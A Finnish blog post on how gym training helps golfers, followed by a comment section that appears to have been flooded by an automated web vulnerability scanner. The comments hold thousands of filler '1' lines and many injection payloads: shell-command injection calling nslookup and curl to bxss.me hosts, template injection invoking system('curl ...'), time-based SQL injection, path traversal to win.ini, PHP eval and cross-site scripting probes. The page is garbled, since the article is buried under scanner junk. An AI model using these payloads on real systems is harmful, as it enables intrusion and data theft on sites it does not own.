Onko saliharjoittelusta hyötyä golfin harrastajalle?
Mitä hyötyä saliharjoittelusta on golfin harrastajalle?
Golf saatetaan usein mieltää lajiksi, jossa fyysisen harjoittelun merkitys on pienempi kuin esimerkiksi joukkuelajeissa tai voimalajeissa. Totuus kuitenkin on, että saliharjoittelu voi tuoda merkittäviä hyötyjä golfharrastajille. Parempi voima, liikkuvuus ja tasapaino voivat kaikki parantaa peliä ja pienentää loukkaantumisriskiä. Tässä blogissa tarkastelemme, mitä hyötyä saliharjoittelusta on golfille ja kuinka se tukee pelaajan kehittymistä.
1. Lyöntien pituus ja tarkkuus
Saliharjoittelu auttaa kehittämään golfsvingiin tarvittavia lihasryhmiä, kuten keskivartalon lihaksia, hartioita, selkää ja lantion alueen lihaksia.
Voimaharjoittelun vaikutus: Tutkimukset osoittavat, että voima- ja nopeusharjoittelu voivat lisätä lyöntinopeutta ja siten parantaa lyöntien pituutta. Esimerkiksi tutkimus Journal of Strength and Conditioning Research -lehdessä (2018) osoitti, että voimaharjoittelua suorittaneet golfarit paransivat draiverin lavan nopeutta merkittävästi verrattuna pelkkään pelaamiseen keskittyneisiin pelaajiin.
Keskivartalon voima: Keskivartalo tukee golfsvingin kiertoliikettä ja auttaa siirtämään voimaa jaloista käsiin. Vahva keskivartalo lisää svingin vakautta ja tarkkuutta.
2. Loukkaantumisriskin pienentäminen
Golfissa esiintyy usein rasitusvammoja, jotka kohdistuvat esimerkiksi alaselkään, kyynärpäihin ja hartioihin. Saliharjoittelulla voidaan vähentää näitä riskejä:
Lihastasapaino: Harjoittelu auttaa tasapainottamaan kropan epäsymmetriaa, joka syntyy golfin yksipuolisista liikkeistä. Esimerkiksi symmetrinen selän ja keskivartalon vahvistaminen vähentää alaselän rasitusta.
Liikkuvuuden parantaminen: Liikkuvuusharjoitteet voivat pienentää jäykkyydestä johtuvia vammoja. Hyvä liikkuvuus lantiossa ja hartioissa helpottaa golfsvingin suorittamista ilman ylimääräistä rasitusta nivelille.
3. Parempi fyysinen ja henkinen jaksaminen
Golfkierros voi kestää jopa neljä tuntia, mikä vaatii pelaajalta kestävyyttä ja keskittymiskykyä. Saliharjoittelu auttaa tämän jaksamisen kehittämisessä:
Kestävyys: Säännöllinen voimaharjoittelu ja aerobinen harjoittelu parantavat lihasten ja sydämen kestävyyttä, jolloin pelaaja jaksaa paremmin koko kierroksen ajan.
Henkinen puoli: Hyvä fyysinen kunto tukee keskittymiskykyä ja auttaa pitämään stressin kurissa.
4. Tasapaino ja kehonhallinta
Tasapainon ja kehonhallinnan kehittäminen ovat avainasemassa golfsvingin tehokkuudessa ja tarkkuudessa.
Yhden jalan harjoitteet: Esimerkiksi askelkyykyt ja yhden jalan maastavedot parantavat kehon hallintaa ja tasapainoa, jotka ovat tärkeitä golfsvingin vakaudelle.
Proprioseptiiviset harjoitukset: Harjoitukset, joissa haastetaan kehon asentoa esimerkiksi tasapainolaudalla, voivat parantaa lyöntien vakautta ja pienentää horjahdusten riskiä.
5. Nopeus ja reaktiokyky
Saliharjoittelu voi parantaa golfsvingin nopeutta ja reaktiokykyä. Plyometriset harjoitteet, kuten hyppyharjoitukset, ja nopeusvoimaan keskittyvä harjoittelu voivat auttaa pelaajaa saamaan lisää dynaamisuutta svingiinsä.
Miten aloittaa saliharjoittelu golfia varten?
Jos haluat aloittaa saliharjoittelun tukemaan golfia, huomioi nämä vinkit:
Keskitä liikkeisiin, jotka parantavat voimaa ja liikkuvuutta: Kyykyt, maastavedot, keskivartalon kiertoliikkeet ja venyttely ovat erinomaisia.
Muista tasapaino: Harjoittele molempia kehon puolia tasaisesti vähentääksesi epäsymmetrioita.
Lisää progressiivisesti: Nosta kuormitusta maltillisesti ja pidä huolta oikeasta suoritustekniikasta.
Yhteenveto
Saliharjoittelulla voi olla merkittäviä hyötyjä golfin harrastajalle. Parempi voima, liikkuvuus, tasapaino ja kestävyys voivat kaikki parantaa peliäsi ja pienentää loukkaantumisriskiä. Lisäksi fyysisen kunnon kehittäminen tukee keskittymiskykyä ja auttaa jaksamaan paremmin niin kentällä kuin sen ulkopuolellakin. Jos haluat viedä golfpelisi uudelle tasolle, saliharjoittelu on ehdottomasti harkitsemisen arvoinen lisä treenirutiiniisi!
Kommentit
1
1
1
1
1
1
1
response.write(9911704*9694942)
1
1
1
'+response.write(9911704*9694942)+'
1
1
1
"+response.write(9911704*9694942)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
4iOCU6np
1
1
1
1
response.write(9018914*9432315)
1
1
HydEnSAt: jQPX6a72
'+response.write(9018914*9432315)+'
1
1
1
1
1
"+response.write(9018914*9432315)+"
1
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
1
1
../1
1
echo vpcxao$()\ zzdyam\nz^xyu||a #' &echo vpcxao$()\ zzdyam\nz^xyu||a #|" &echo vpcxao$()\ zzdyam\nz^xyu||a #
1
1
1
&echo qxuwok$()\ vmnmpj\nz^xyu||a #' &echo qxuwok$()\ vmnmpj\nz^xyu||a #|" &echo qxuwok$()\ vmnmpj\nz^xyu||a #
1
12345'"\'\");|]* {
1
1&echo awohpt$()\ csxerf\nz^xyu||a #' &echo awohpt$()\ csxerf\nz^xyu||a #|" &echo awohpt$()\ csxerf\nz^xyu||a #
1
1
1
|echo yxccfs$()\ buokhd\nz^xyu||a #' |echo yxccfs$()\ buokhd\nz^xyu||a #|" |echo yxccfs$()\ buokhd\nz^xyu||a #
1
1
1
1|echo bxokfu$()\ jhvluq\nz^xyu||a #' |echo bxokfu$()\ jhvluq\nz^xyu||a #|" |echo bxokfu$()\ jhvluq\nz^xyu||a #
1
1
1
expr 9000182851 - 982122
1
1
1
1
1
(nslookup -q=cname hitdtpwhwrjeg2d41b.bxss.me||curl hitdtpwhwrjeg2d41b.bxss.me))
cysiOtN8
1
1
$(nslookup -q=cname hitmmevahsdmwa88d7.bxss.me||curl hitmmevahsdmwa88d7.bxss.me)
dhbjnJDW: DUeZ4YXl
1
1
&nslookup -q=cname hitxlngoliiju5f130.bxss.me&'\"`0&nslookup -q=cname hitxlngoliiju5f130.bxss.me&`'
1
1
1
1
1
1
1
1
1
&(nslookup -q=cname hitzzvwwzwcrm61fc2.bxss.me||curl hitzzvwwzwcrm61fc2.bxss.me)&'\"`0&(nslookup -q=cname hitzzvwwzwcrm61fc2.bxss.me||curl hitzzvwwzwcrm61fc2.bxss.me)&`'
1
1
1
${9999721+10000430}
1
1
1
1
1
|(nslookup -q=cname hitjrcuecehkjabebd.bxss.me||curl hitjrcuecehkjabebd.bxss.me)
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
`(nslookup -q=cname hitbwdlbxuhfq5b469.bxss.me||curl hitbwdlbxuhfq5b469.bxss.me)`
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
;(nslookup -q=cname hitktkkfwsmwm17e44.bxss.me||curl hitktkkfwsmwm17e44.bxss.me)|(nslookup -q=cname hitktkkfwsmwm17e44.bxss.me||curl hitktkkfwsmwm17e44.bxss.me)&(nslookup -q=cname hitktkkfwsmwm17e44.bxss.me||curl hitktkkfwsmwm17e44.bxss.me)
1
1
1
1
1
1
1
1
${10000067+10000499}
1
1
1
1
c:/windows/win.ini
1
1
1
1&n997756=v933497
1
1
1
bxss.me
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1&n980889=v956783
1
1
!(()&&!|*|*|
1
1
1
1
1
1
12345'"\'\");|]* {
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
!(()&&!|*|*|
1
../../../../../../../../../../../../../../windows/win.ini
1
^(#$!@#$)(()))******
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
"+"A".concat(70-3).concat(22*4).concat(103).concat(83).concat(118).concat(85)+(require"socket" Socket.gethostbyname("hitdy"+"jnmhnqsge1bb9.bxss.me.")[3].to_s)+"
bxss.me/t/xss.html?%00
1
1
'+'A'.concat(70-3).concat(22*4).concat(111).concat(88).concat(102).concat(75)+(require'socket' Socket.gethostbyname('hitqd'+'oevudpez2f869.bxss.me.')[3].to_s)+'
1
ajax.php
1
1
1
'A'.concat(70-3).concat(22*4).concat(113).concat(66).concat(117).concat(83)+(require'socket' Socket.gethostbyname('hitmz'+'hfdfdtjuf1bd9.bxss.me.')[3].to_s)
1
1
c:/windows/win.ini
1
1
ajax.php
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
ajax.php/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1'"()&%2SxG(9972)
1
1
1
1
1
1
1
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitvhtlthzydve8700.bxss.me")}}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(108).concat(90).concat(100).concat(67)+(require"socket" Socket.gethostbyname("hitsd"+"xaxcqjgc99105.bxss.me.")[3].to_s)+"
1
'+'A'.concat(70-3).concat(22*4).concat(103).concat(89).concat(105).concat(83)+(require'socket' Socket.gethostbyname('hitfa'+'ymdxfvalbe712.bxss.me.')[3].to_s)+'
1
1
'"()&%2SxG(9285)
echo kvxzmi$()\ lajbox\nz^xyu||a #' &echo kvxzmi$()\ lajbox\nz^xyu||a #|" &echo kvxzmi$()\ lajbox\nz^xyu||a #
1
1
19618418
ajax.php
1
'A'.concat(70-3).concat(22*4).concat(104).concat(89).concat(115).concat(72)+(require'socket' Socket.gethostbyname('hitwb'+'ucqqjjipc98c9.bxss.me.')[3].to_s)
1
&echo pokatv$()\ tuwcmb\nz^xyu||a #' &echo pokatv$()\ tuwcmb\nz^xyu||a #|" &echo pokatv$()\ tuwcmb\nz^xyu||a #
1
ajax.php
1
1
1
1&echo eeuxzl$()\ spnanc\nz^xyu||a #' &echo eeuxzl$()\ spnanc\nz^xyu||a #|" &echo eeuxzl$()\ spnanc\nz^xyu||a #
1
1
1
ajax.php/.
1
1
bfg10474<s1﹥s2ʺs3ʹhjl10474
|echo vweinj$()\ iydgry\nz^xyu||a #' |echo vweinj$()\ iydgry\nz^xyu||a #|" |echo vweinj$()\ iydgry\nz^xyu||a #
1
1
1
'"
1
1
bfgx9497
1|echo faoynz$()\ hkdmrq\nz^xyu||a #' |echo faoynz$()\ hkdmrq\nz^xyu||a #|" |echo faoynz$()\ hkdmrq\nz^xyu||a #
1
1
1
1
1
expr 9000632920 - 921922
1
1
1
1
(nslookup -q=cname hitemrmgvyfpt37073.bxss.me||curl hitemrmgvyfpt37073.bxss.me))
1
1
1}}"}}'}}1%>"%>'%>
$(nslookup -q=cname hitqlirkyltyr7d6b2.bxss.me||curl hitqlirkyltyr7d6b2.bxss.me)
1
1
dfb{{98991*97996}}xca
&nslookup -q=cname hitzywvklukrde8562.bxss.me&'\"`0&nslookup -q=cname hitzywvklukrde8562.bxss.me&`'
1
${@print(md5(31337))}
1
1
dfb[[${98991*97996}]]xca
&(nslookup -q=cname hitikcdbkcffeaeb9f.bxss.me||curl hitikcdbkcffeaeb9f.bxss.me)&'\"`0&(nslookup -q=cname hitikcdbkcffeaeb9f.bxss.me||curl hitikcdbkcffeaeb9f.bxss.me)&`'
1
${@print(md5(31337))}\
1
|(nslookup -q=cname hitvgzscnptlg87152.bxss.me||curl hitvgzscnptlg87152.bxss.me)
1
'.print(md5(31337)).'
1
1
dfb__${98991*97996}__::.x
`(nslookup -q=cname hitwcszdvxikm1bb8a.bxss.me||curl hitwcszdvxikm1bb8a.bxss.me)`
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
;(nslookup -q=cname hitadmthabmkjd60c6.bxss.me||curl hitadmthabmkjd60c6.bxss.me)|(nslookup -q=cname hitadmthabmkjd60c6.bxss.me||curl hitadmthabmkjd60c6.bxss.me)&(nslookup -q=cname hitadmthabmkjd60c6.bxss.me||curl hitadmthabmkjd60c6.bxss.me)
1
1
12SxG(9837)
1
17HVNN[!+!]
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%2SxG(9211)
1
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitlamwtxqixc34ebd.bxss.me")}}
1
'"()&%2SxG(9792)
1
19905108
1
bfg2223<s1﹥s2ʺs3ʹhjl2223
1
bfgx9306
1
1
1
1}}"}}'}}1%>"%>'%>
1
dfb{{98991*97996}}xca
1
dfb[[${98991*97996}]]xca
1
dfb__${98991*97996}__::.x
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
12SxG(9604)
1
1SLEUB[!+!]
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 5*5=25
1
-1 OR 5*5=26
1
1
1
1'"
1
1
1
@@PWgxv
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1
1-1 waitfor delay '0:0:15' --
1
1-1 OR 813=(SELECT 813 FROM PG_SLEEP(15))--
1
1-1) OR 79=(SELECT 79 FROM PG_SLEEP(15))--
1
1-1)) OR 970=(SELECT 970 FROM PG_SLEEP(15))--
1
1
1
1'"
1
1
1
@@lqqbp
1
(select 198766*667891)
1
(select 198766*667891 from DUAL)
1
1
1
1
1
1
1
1
response.write(9167950*9751330)
1
1
1
'+response.write(9167950*9751330)+'
1
1
1
"+response.write(9167950*9751330)+"
1
1
1
1
1
1
1
1
1
1
1
aBR545J0
1
1
1
ZzQW9aGf: xoP23hgd
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
JV5zNEd7
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
HExukDCq: C67OzHJC
1
1
echo fnsebq$()\ khpccj\nz^xyu||a #' &echo fnsebq$()\ khpccj\nz^xyu||a #|" &echo fnsebq$()\ khpccj\nz^xyu||a #
1
1
1
1
1
1
1
&echo ijomzs$()\ lwzqfh\nz^xyu||a #' &echo ijomzs$()\ lwzqfh\nz^xyu||a #|" &echo ijomzs$()\ lwzqfh\nz^xyu||a #
response.write(9546449*9767799)
1
1
../1
'+response.write(9546449*9767799)+'
1
1
1&echo gxabwb$()\ jbvxdx\nz^xyu||a #' &echo gxabwb$()\ jbvxdx\nz^xyu||a #|" &echo gxabwb$()\ jbvxdx\nz^xyu||a #
1
12345'"\'\");|]* {
"+response.write(9546449*9767799)+"
1
1
|echo wbpmdb$()\ kdmefl\nz^xyu||a #' |echo wbpmdb$()\ kdmefl\nz^xyu||a #|" |echo wbpmdb$()\ kdmefl\nz^xyu||a #
1
1
1
1
1
1
1
1|echo nlzdpn$()\ ztipia\nz^xyu||a #' |echo nlzdpn$()\ ztipia\nz^xyu||a #|" |echo nlzdpn$()\ ztipia\nz^xyu||a #
1
1
1
1
1
1
1
1
1
expr 9000202143 - 962366
1
1
1
1
1
1
1
(nslookup -q=cname hitxrqhgprmdxcd9c4.bxss.me||curl hitxrqhgprmdxcd9c4.bxss.me))
1
1
1
1
1
$(nslookup -q=cname hitlwdtahtvzf95940.bxss.me||curl hitlwdtahtvzf95940.bxss.me)
1
&nslookup -q=cname hitysqzzdapyb390e9.bxss.me&'\"`0&nslookup -q=cname hitysqzzdapyb390e9.bxss.me&`'
1
1
1
&(nslookup -q=cname hitsjfewplpvh23a05.bxss.me||curl hitsjfewplpvh23a05.bxss.me)&'\"`0&(nslookup -q=cname hitsjfewplpvh23a05.bxss.me||curl hitsjfewplpvh23a05.bxss.me)&`'
1
${9999989+9999963}
1
|(nslookup -q=cname hitmstwmvsavi34e47.bxss.me||curl hitmstwmvsavi34e47.bxss.me)
1
1
1
`(nslookup -q=cname hitjnisnpunen7a885.bxss.me||curl hitjnisnpunen7a885.bxss.me)`
1
;(nslookup -q=cname hitiarygpijhx8ed05.bxss.me||curl hitiarygpijhx8ed05.bxss.me)|(nslookup -q=cname hitiarygpijhx8ed05.bxss.me||curl hitiarygpijhx8ed05.bxss.me)&(nslookup -q=cname hitiarygpijhx8ed05.bxss.me||curl hitiarygpijhx8ed05.bxss.me)
1
1
1
1
1
1
1
1
1
1
1
1
${9999279+10000226}
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
12345'"\'\");|]* {
1
1
c:/windows/win.ini
1
bxss.me
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n957615=v950048
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n998953=v970732
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
!(()&&!|*|*|
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
../1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
)
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
${@print(md5(31337))}
1
1
bxss.me
1
1
1
1
${@print(md5(31337))}\
1
1
Http://bxss.me/t/fit.txt
1
1
'.print(md5(31337)).'
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
1
ajax.php
1
1
1
1
1
1
'"()
1
1
1
1
ajax.php
1
"+"A".concat(70-3).concat(22*4).concat(106).concat(76).concat(104).concat(73)+(require"socket" Socket.gethostbyname("hitft"+"gneegmej67aa7.bxss.me.")[3].to_s)+"
HttP://bxss.me/t/xss.html?%00
1
1
ajax.php/.
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(113).concat(87).concat(116).concat(73)+(require'socket' Socket.gethostbyname('hitvx'+'kpgfrtsd21c61.bxss.me.')[3].to_s)+'
bxss.me/t/xss.html?%00
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(116).concat(82).concat(101).concat(73)+(require'socket' Socket.gethostbyname('hitvm'+'mcxulxxi5690a.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
echo xzgzkd$()\ lecovx\nz^xyu||a #' &echo xzgzkd$()\ lecovx\nz^xyu||a #|" &echo xzgzkd$()\ lecovx\nz^xyu||a #
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
xfs.bxss.me
&echo geendl$()\ ikqeyh\nz^xyu||a #' &echo geendl$()\ ikqeyh\nz^xyu||a #|" &echo geendl$()\ ikqeyh\nz^xyu||a #
1
1
1
1
1
1
1
1&echo yzphnd$()\ hejolk\nz^xyu||a #' &echo yzphnd$()\ hejolk\nz^xyu||a #|" &echo yzphnd$()\ hejolk\nz^xyu||a #
1
|echo xvqmnp$()\ xarjgl\nz^xyu||a #' |echo xvqmnp$()\ xarjgl\nz^xyu||a #|" |echo xvqmnp$()\ xarjgl\nz^xyu||a #
1
1
1
1
1
1|echo etwtwh$()\ hkcegp\nz^xyu||a #' |echo etwtwh$()\ hkcegp\nz^xyu||a #|" |echo etwtwh$()\ hkcegp\nz^xyu||a #
1
xfs.bxss.me
1
1
1
expr 9000211385 - 958734
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
(nslookup -q=cname hitemsofaqndt94ced.bxss.me||curl hitemsofaqndt94ced.bxss.me))
1
1
1
1
1'"()&%xTkl(9161)
1
1
1
1
$(nslookup -q=cname hitvkjcjrvhwka4f29.bxss.me||curl hitvkjcjrvhwka4f29.bxss.me)
1
1
1
1
1
1
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitvmfgvwttdre210a.bxss.me")}}
&nslookup -q=cname hitkmklkaluba5162e.bxss.me&'\"`0&nslookup -q=cname hitkmklkaluba5162e.bxss.me&`'
1
ajax.php
1
1
'"
"+"A".concat(70-3).concat(22*4).concat(102).concat(68).concat(98).concat(66)+(require"socket" Socket.gethostbyname("hitce"+"hmstqwsz9a4cd.bxss.me.")[3].to_s)+"
1
ajax.php
1
1
&(nslookup -q=cname hitujgqjlilgff425e.bxss.me||curl hitujgqjlilgff425e.bxss.me)&'\"`0&(nslookup -q=cname hitujgqjlilgff425e.bxss.me||curl hitujgqjlilgff425e.bxss.me)&`'
1
ajax.php/.
1
1
'"()&%xTkl(9484)
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(108).concat(86).concat(100).concat(65)+(require'socket' Socket.gethostbyname('hityp'+'gbzcuite0c894.bxss.me.')[3].to_s)+'
1
1
19979730
|(nslookup -q=cname hitzryubnpnww0964f.bxss.me||curl hitzryubnpnww0964f.bxss.me)
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(109).concat(88).concat(121).concat(67)+(require'socket' Socket.gethostbyname('hitqx'+'dafdbvje23977.bxss.me.')[3].to_s)
1
`(nslookup -q=cname hitcloeigdosm82000.bxss.me||curl hitcloeigdosm82000.bxss.me)`
1
1
bfg6732<s1﹥s2ʺs3ʹhjl6732
1
1
;(nslookup -q=cname hitadexaikgjy4cb5c.bxss.me||curl hitadexaikgjy4cb5c.bxss.me)|(nslookup -q=cname hitadexaikgjy4cb5c.bxss.me||curl hitadexaikgjy4cb5c.bxss.me)&(nslookup -q=cname hitadexaikgjy4cb5c.bxss.me||curl hitadexaikgjy4cb5c.bxss.me)
1
1
bfgx1665
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1}}"}}'}}1%>"%>'%>
'"
1
${@print(md5(31337))}\
1
1
1
1
'.print(md5(31337)).'
1
1
dfb{{98991*97996}}xca
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
dfb__${98991*97996}__::.x
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1xTkl(9844)
1
1QTIGN[!+!]
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%xTkl(9493)
1
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitupuhkcxlml50fa7.bxss.me")}}
1
'"()&%xTkl(9997)
1
19560876
1
bfg6147<s1﹥s2ʺs3ʹhjl6147
1
bfgx8059
1
1
1
1}}"}}'}}1%>"%>'%>
1
dfb{{98991*97996}}xca
1
dfb[[${98991*97996}]]xca
1
dfb__${98991*97996}__::.x
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1xTkl(9597)
1
1VPI2R[!+!]
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 5*5=25
1
-1 OR 5*5=26
1
1
1
1'"
1
1
1
@@W8r7t
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1
1-1 waitfor delay '0:0:15' --
1
1-1 OR 548=(SELECT 548 FROM PG_SLEEP(15))--
1
1-1) OR 125=(SELECT 125 FROM PG_SLEEP(15))--
1
1-1)) OR 354=(SELECT 354 FROM PG_SLEEP(15))--
1
1
1
1'"
1
1
1
@@W3SVW
1
(select 198766*667891)
1
(select 198766*667891 from DUAL)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1